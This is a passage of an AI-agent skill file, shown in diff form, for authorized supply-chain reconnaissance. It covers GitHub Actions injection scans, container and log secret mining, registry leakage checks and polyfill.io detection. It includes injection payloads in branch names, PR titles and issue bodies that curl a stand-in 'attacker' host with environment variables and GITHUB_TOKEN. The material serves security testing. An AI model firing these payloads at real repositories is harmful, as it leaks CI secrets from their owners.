[ "$status" = "404" ] && echo " UNCLAIMED: $candidate"
|
|
202
|
+
done
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
**⚠ EXTERNAL-OFFENSIVE NOTE:** publishing a typosquat package to a public registry is an attack on the wider ecosystem. NEVER do this without explicit, written, scope-clarified sign-off. It can affect users outside your engagement and may be illegal.
|
|
206
|
+
|
|
207
|
+
---
|
|
208
|
+
|
|
209
|
+
## Step 6 — GitHub Actions workflow injection scan
|
|
210
|
+
|
|
211
|
+
For each public repo with `.github/workflows/`:
|
|
212
|
+
|
|
213
|
+
```bash
|
|
214
|
+
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
|
|
215
|
+
workflows=$(gh api "repos/$ORG/$repo/contents/.github/workflows" --jq '.[].name' 2>/dev/null)
|
|
216
|
+
for wf in $workflows; do
|
|
217
|
+
content=$(gh api "repos/$ORG/$repo/contents/.github/workflows/$wf" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
|
|
218
|
+
echo "=== $repo/$wf ==="
|
|
219
|
+
|
|
220
|
+
# High-risk patterns:
|
|
221
|
+
# 1. pull_request_target (runs with secrets on PR from forks)
|
|
222
|
+
echo "$content" | grep -E 'pull_request_target'
|
|
223
|
+
|
|
224
|
+
# 2. Untrusted context interpolation
|
|
225
|
+
echo "$content" | grep -E '\$\{\{[^}]*github\.(event|head_ref|pull_request)[^}]*\}\}'
|
|
226
|
+
|
|
227
|
+
# 3. ${{ github.event.* }} into shell run blocks
|
|
228
|
+
echo "$content" | grep -B1 -A2 'run:' | grep -E '\$\{\{ ?github\.event\.'
|
|
229
|
+
|
|
230
|
+
# 4. checkout of PR head with elevated perms
|
|
231
|
+
echo "$content" | grep -E 'ref:.*pull_request|head_ref'
|
|
232
|
+
|
|
233
|
+
# 5. Self-hosted runner without isolation
|
|
234
|
+
echo "$content" | grep -E 'runs-on:.*self-hosted'
|
|
235
|
+
|
|
236
|
+
# 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@<40-char sha>)
|
|
237
|
+
# Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions/changed-files).
|
|
238
|
+
echo "$content" | grep -E 'uses: *[^ ]+/[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\b' | grep -v '@[0-9a-f]\{40\}'
|
|
239
|
+
done
|
|
240
|
+
done
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
### Injection patterns to flag (severity guide)
|
|
244
|
+
|
|
245
|
+
| Pattern | Severity |
|
|
246
|
+
|---|---|
|
|
247
|
+
| `pull_request_target` + `actions/checkout` with `ref: pull_request.head.sha` + uses repo secrets | **Critical** — RCE on runner with org secrets |
|
|
248
|
+
| `${{ github.event.pull_request.title }}` interpolated into shell | **Critical** — script injection via PR title |
|
|
249
|
+
| Third-party action pinned to a mutable tag (`uses: org/repo@v1` / `@main`) instead of a commit SHA | **High** — repointable supply-chain vector (see case #9) |
|
|
250
|
+
| Self-hosted runner reachable from public repo workflows | **High** — persistent attacker pivot |
|
|
251
|
+
| Issue-comment-triggered workflow that runs `gh` with token | **High** |
|
|
252
|
+
| Workflow downloads from URL that target controls | **Medium** |
|
|
253
|
+
|
|
254
|
+
### GitHub Actions context injection sinks (branch name, PR title, issue body)
|
|
255
|
+
|
|
256
|
+
Untrusted context flowing from PR metadata into `run:` blocks is a classic injection vector. Test payloads:
|
|
257
|
+
|
|
258
|
+
```bash
|
|
259
|
+
# Malicious branch name (test in a fork PR):
|
|
260
|
+
git checkout -b 'feat/x"; curl https://attacker/?d=$(env | base64);"'
|
|
261
|
+
git push origin 'feat/x"; curl https://attacker/?d=$(env | base64);"'
|
|
262
|
+
|
|
263
|
+
# Malicious PR title (create a test PR with this title):
|
|
264
|
+
PR_TITLE='x"; curl https://attacker/?d=$(echo $GITHUB_TOKEN | base64);"'
|
|
265
|
+
|
|
266
|
+
# Malicious issue body:
|
|
267
|
+
ISSUE_BODY='x"; curl https://attacker/?leak=$(git config user.name);"'
|
|
268
|
+
|
|
269
|
+
# Then watch workflow logs. If the injected commands execute, secrets are exfil'd.
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
### Public GitHub Actions run logs (leaks secrets)
|
|
273
|
+
|
|
274
|
+
Actions logs are public by default on public repos. Look for:
|
|
275
|
+
|
|
276
|
+
```bash
|
|
277
|
+
# List all Action runs for a repo
|
|
278
|
+
gh api repos/OWNER/REPO/actions/runs --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}'
|
|
279
|
+
|
|
280
|
+
# Fetch logs from a run
|
|
281
|
+
gh api repos/OWNER/REPO/actions/runs/<id>/logs --jq '.logs' | base64 -d
|
|
282
|
+
|
|
283
|
+
# Search logs for common leakage patterns
|
|
284
|
+
gh api repos/OWNER/REPO/actions/runs/<id>/logs | grep -iE 'token|key|secret|password|credential|aws_'
|
|
285
|
+
```
|
|
286
|
+
|
|
287
|
+
Leaked secrets in logs = direct credential exfil; severity depends on the token type (GitHub PAT, npm token, AWS key, etc.).
|
|
288
|
+
|
|
289
|
+
### Static detection of Actions injection sinks with zizmor
|
|
290
|
+
|
|
291
|
+
For high-confidence automated flagging, run the `zizmor` analyzer on all workflow files:
|
|
292
|
+
|
|
293
|
+
```bash
|
|
294
|
+
# Install zizmor (Rust-based, from https://github.com/woodruffw/zizmor)
|
|
295
|
+
cargo install zizmor
|
|
296
|
+
|
|
297
|
+
# Scan all workflows
|
|
298
|
+
zizmor .github/workflows/*.yml
|
|
299
|
+
|
|
300
|
+
# Output includes: pull_request_target, mutable-tag uses, context interpolation, etc.
|
|
301
|
+
# Sort findings by risk tier
|
|
302
|
+
```
|
|
303
|
+
|
|
304
|
+
Zizmor saves manual regex work and catches edge cases (e.g., indirect context interpolation via variable references).
|
|
305
|
+
|
|
306
|
+
---
|
|
307
|
+
|
|
308
|
+
## Step 7 — Docker / container image registry mining
|
|
309
|
+
|
|
310
|
+
```bash
|
|
311
|
+
# Docker Hub
|
|
312
|
+
curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name'
|
|
313
|
+
|
|
314
|
+
# GHCR (GitHub Container Registry) — public images visible in repo packages tab
|
|
315
|
+
gh api "users/$ORG/packages?package_type=container" 2>/dev/null
|
|
316
|
+
gh api "orgs/$ORG/packages?package_type=container" 2>/dev/null
|
|
317
|
+
|
|
318
|
+
# For each image, list tags
|
|
319
|
+
for img in image1 image2; do
|
|
320
|
+
curl -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name'
|
|
321
|
+
done
|
|
322
|
+
|
|
323
|
+
# Pull and inspect layers
|
|
324
|
+
docker pull "$ORG/$img:latest"
|
|
325
|
+
docker history --no-trunc "$ORG/$img:latest"
|
|
326
|
+
|
|
327
|
+
# Mine layers for secrets
|
|
328
|
+
docker save "$ORG/$img:latest" -o /tmp/image.tar
|
|
329
|
+
mkdir -p /tmp/img && tar -xf /tmp/image.tar -C /tmp/img
|
|
330
|
+
find /tmp/img -name "*.tar*" -exec tar -xf {} -C /tmp/img/extracted \;
|
|
331
|
+
# Then run gitleaks / trufflehog over extracted filesystem
|
|
332
|
+
trufflehog filesystem /tmp/img/extracted --no-update
|
|
333
|
+
```
|
|
334
|
+
|
|
335
|
+
---
|
|
336
|
+
|
|
337
|
+
## Step 8 — SBOM / artifact metadata leakage
|
|
338
|
+
|
|
339
|
+
```bash
|
|
340
|
+
# Look for SBOMs published as releases (SPDX, CycloneDX format)
|
|
341
|
+
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("sbom|cyclonedx|spdx"; "i")) | .browser_download_url'
|
|
342
|
+
|
|
343
|
+
# JSON dependency lockfiles in releases
|
|
344
|
+
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("lock|deps"; "i")) | .browser_download_url'
|
|
345
|
+
|
|
346
|
+
# Exact-version-pinned deps → known-CVE chaining
|
|
347
|
+
# Compare versions to nuclei nvd templates or osv.dev for known vulns
|
|
348
|
+
curl -s "https://api.osv.dev/v1/query" -d '{"package": {"name": "lodash", "ecosystem": "npm"}, "version": "4.17.10"}'
|
|
349
|
+
```
|
|
350
|
+
|
|
351
|
+
---
|
|
352
|
+
|
|
353
|
+
## Step 9 — Internal registry URL leakage
|
|
354
|
+
|
|
355
|
+
```bash
|
|
356
|
+
# .npmrc patterns
|
|
357
|
+
grep -r "registry=" . # in cloned repos
|
|
358
|
+
grep -r "_authToken=" . # leaked npm token!
|
|
359
|
+
grep -r "@.*registry=" . # scoped registry
|
|
360
|
+
|
|
361
|
+
# pip config
|
|
362
|
+
grep -r "extra-index-url" .
|
|
363
|
+
grep -r "index-url" .
|
|
364
|
+
|
|
365
|
+
# Gradle / Maven
|
|
366
|
+
grep -rE "(mavenCentral|maven\s*\{)" .
|
|
367
|
+
grep -r "url.*\(.*nexus" .
|
|
368
|
+
|
|
369
|
+
# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable
|
|
370
|
+
```
|
|
371
|
+
|
|
372
|
+
---
|
|
373
|
+
|
|
374
|
+
## Step 10 — npm/PyPI organizational presence
|
|
375
|
+
|
|
376
|
+
```bash
|
|
377
|
+
# Some orgs maintain a public npm scope mirroring their brand
|
|
378
|
+
curl -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name'
|
|
379
|
+
|
|
380
|
+
# Public PyPI presence
|
|
381
|
+
curl -s "https://pypi.org/simple/" | grep "$ORG" | head -20
|
|
382
|
+
|
|
383
|
+
# Check if scope is taken — if it's NOT, an attacker could register
|
|
384
|
+
# (relevant for any internal package using that scope)
|
|
385
|
+
curl -sI "https://registry.npmjs.org/-/org/$ORG"
|
|
386
|
+
```
|
|
387
|
+
|
|
388
|
+
---
|
|
389
|
+
|
|
390
|
+
## Step 11 — Frontend and third-party dependency checks
|
|
391
|
+
|
|
392
|
+
### Compromised CDN detection (polyfill.io, etc.)
|
|
393
|
+
|
|
394
|
+
Known-compromised CDNs and analytics services have been weaponized. Check target's public HTML/JS:
|
|
395
|
+
|
|
396
|
+
```bash
|
|
397
|
+
# Detect usage of polyfill.io and similar historically-compromised services
|
|
398
|
+
curl -s https://target.com | grep -i polyfill
|
|
399
|
+
curl -s https://target.com | grep -iE '(polyfill\.io|cdn\.jsdelivr\.net.*polyfill|babel\.min\.js)'
|
|
400
|
+
|
|
401
|
+
# Check JavaScript bundles
|
|
402
|
+
for bundle in public/*.js main.*.js app.*.js; do
|
|
403
|
+
grep -i polyfill "$bundle" && echo "FOUND: $bundle"
|
|
404
|
+
done
|
|
405
|
+
```
|
|
406
|
+
|
|
407
|
+
Reference: polyfill.io was compromised in 2024 to serve malicious payloads. Presence = supply-chain risk.
|
|
408
|
+
|
|
409
|
+
---
|
|
410
|
+
|
|
411
|
+
## Tooling
|
|
412
|
+
|
|
413
|
+
| Tool | Purpose |
|
|
414
|
+
|---|---|
|
|
415
|
+
| **`trufflehog`** | Filesystem/git/docker secret scan |
|
|
416
|
+
| **`gitleaks`** | Git history secret scan |
|
|
417
|
+
| **`dependency-confusion`** (Confused) | npm scope/PyPI checks |
|
|
418
|
+
| **`packj`** | Package risk score (PyPI/npm/RubyGems) |
|
|
419
|
+
| **`Lift / Snyk vuln-db`** | Known CVE lookup by package version |
|
|
420
|
+
| **`actionlint`** | GitHub Actions static analyzer |
|
|
421
|
+
| **`zizmor`** | GitHub Actions injection & security antipattern detection |
|
|
422
|
+
| **`OSSGadget`** | Microsoft's package metadata toolkit |
|
|
423
|
+
| **`semgrep`** + supply-chain rules | Workflow injection detection |
|
|
424
|
+
| **`osv-scanner`** | Match versions to known vulns |
|
|
425
|
+
|
|
426
|
+
---
|
|
427
|
+
|
|
428
|
+
|
|
429
|
+
## Contents
|
|
430
|
+
|
|
431
|
+
- [Severity scoring guidance](references/details.md)
|
|
432
|
+
- [Anti-patterns](references/details.md)
|
|
433
|
+
- [What constitutes a deliverable finding](references/details.md)
|
|
434
|
+
- [Bridge to neighboring skills](references/details.md)
|
|
435
|
+
- [External-only boundary check](references/details.md)
|
|
436
|
+
- [Real-world references](references/details.md)
|
|
437
|
+
- [Disclosed-case catalogue (citations)](references/details.md)
|
|
438
|
+
- [Related Skills & Chains](references/details.md)
|
|
439
|
+
|
|
440
|
+
## Limitations
|
|
441
|
+
|
|
442
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
443
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
444
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
445
|
+
|
|
446
|
+
### Example
|
|
447
|
+
|
|
448
|
+
```bash
|
|
449
|
+
# Read-only first step; confirm scope before anything active.
|
|
450
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
451
|
+
```
|
|
452
|
+
|
|
453
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|